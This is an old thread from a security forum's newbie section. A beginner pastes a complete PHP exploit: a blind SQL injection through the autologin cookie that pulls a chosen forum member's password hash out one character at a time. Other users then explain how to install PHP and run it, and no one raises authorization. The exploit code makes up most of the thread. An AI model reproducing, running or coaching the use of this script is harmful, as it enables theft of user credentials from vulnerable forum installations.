Waraxe IT Security Portal
Login or Register
November 11, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 314
Members: 0
Total: 314
Full disclosure
SEC Consult SA-20261104-0 :: Improper device certificate validation enables AiTM attacks in Siemens SICAM Toolbox II device communication
Apache Struts2 Tiles Plugin <=7.4.0 and >=6.3.0 Preparer Cache Vulnerabilities
unixODBC <=2.3.14 Rude Truncation via Narrowing Conversion Causes Out-of-Bounds `memcpy`
unixODBC <=2.3.14 Multiple Races
unixODBC <=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads
Apache Struts2 Core Arbitrary Code Execution via OGNL SandboxEscape
Apache Struts2 Core TokenHelper Token Cryptographic Timing Side-Channel
Apache Struts2 Spring Plugin Uses a Previously Closed Resource
Apache Struts2 Core Integer Overflow
Apache Struts2 Core Cross-Origin Protection Exemption Miskeyed to a Deployment-Wide Path
Apache Struts2 REST Plugin Fails to Properly Parse ChunkedRequests
Apache Struts2 REST Plugin Untrimmed `Accept` Header Tokens Break Content Negation Fallback
Apache Struts2 JSON Plugin Insecure Deserialisation -- Object Deserialisation Element-Count Limit Bypass
[0day-rubbish] NETGEAR RAX120 V1.2.5.18 authenticated SOAP InstallApp OS command injection to root-configured web-stack execution (6.8 Medium; conditionally 7.2 High with management exposure)
[0day-rubbish] Raritan PX3 PDU G4 firmware 4.3.14 command injection in the ping and traceroute diagnostics through an inverted hostname-validation return check (8.8)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> No0b Help.
Post new topicReply to topic View previous topic :: View next topic
No0b Help.
PostPosted: Sat Mar 01, 2008 5:17 pm Reply with quote
Outlaw
Active user
Active user
Joined: Mar 01, 2008
Posts: 37




Well its going to be pretty obvious that I am new to exploits and stuff so please take it easy on me. Wink

Well anyways, i found an exploits from Milworm but i wasnt sure what to do with it.. I have Active Perl but i am certain it is not for Perl because it does not say #!/user/bin/perl. And since it does not say this i am not sure what i need to do to use it. The exploit is...

Code:
<?php
/*
<= 1.3.1 Final
/str0ke
*/

$server = "SERVER";
$port = 80;
$file = "PATH";

$target = 81;

/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 10;
$pass = "";

$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
$idx = 0;
$found = false;

while( !($found) ) {
$letter = substr($hex, $idx, 1);

/* %2527 translates to %27, which gets past magic quotes.
This is translated to ' by urldecode. */
$cookie =
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
$cookie .=
"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;

/* Query is in effect: SELECT * FROM ibf_members
WHERE id=$id AND password='$pass' OR
id=$target
HAVING id=$target AND
MID(`password`,$i,1)='$letter' */

$header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie);
if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
$header) ) {
echo $i . ": " . $letter . "\n";
$found = true;

$hash .= $letter;
} else {
$idx++;
}
}
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
$ip = gethostbyname($server);
$fp = fsockopen($ip, $port);

if (!$fp) {
return "Unknown";
} else {
$com = "HEAD $file HTTP/1.1\r\n";
$com .= "Host: $server:$port\r\n";
$com .= "Cookie: $cookie\r\n";
$com .= "Connection: close\r\n";
$com .= "\r\n";

fputs($fp, $com);

do {
$header.= fread($fp, 512);
} while( !preg_match('/\r\n\r\n$/',$header) );
}

return $header;
}
?>


So if you could tell me what to do with it or where to put it that would be great, thanks. Very Happy
View user's profile Send private message
PostPosted: Sat Mar 01, 2008 9:30 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




http://www.milw0rm.com/exploits/1036

It's written in php language, so download and install php, then run script from command prompt.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Mar 09, 2008 3:28 am Reply with quote
Outlaw
Active user
Active user
Joined: Mar 01, 2008
Posts: 37




Thanks for your help. Now i have PHP but i am not sure how to open it in php so if you could link me ot a tutorial or explain to me what to do that would be greatly appreciated.
View user's profile Send private message
PostPosted: Sun Mar 09, 2008 1:26 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Download easyphp to get a server, launch it, put your php file in the folder WWW in easyphp, launch an internet explorer like firefox, go on 127.0.0.1/yourfile.php (the path where you put it) and it will be execute
View user's profile Send private message
PostPosted: Sun Mar 09, 2008 6:15 pm Reply with quote
Outlaw
Active user
Active user
Joined: Mar 01, 2008
Posts: 37




Ahh thanks a bunch!
View user's profile Send private message
No0b Help.
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.052 Seconds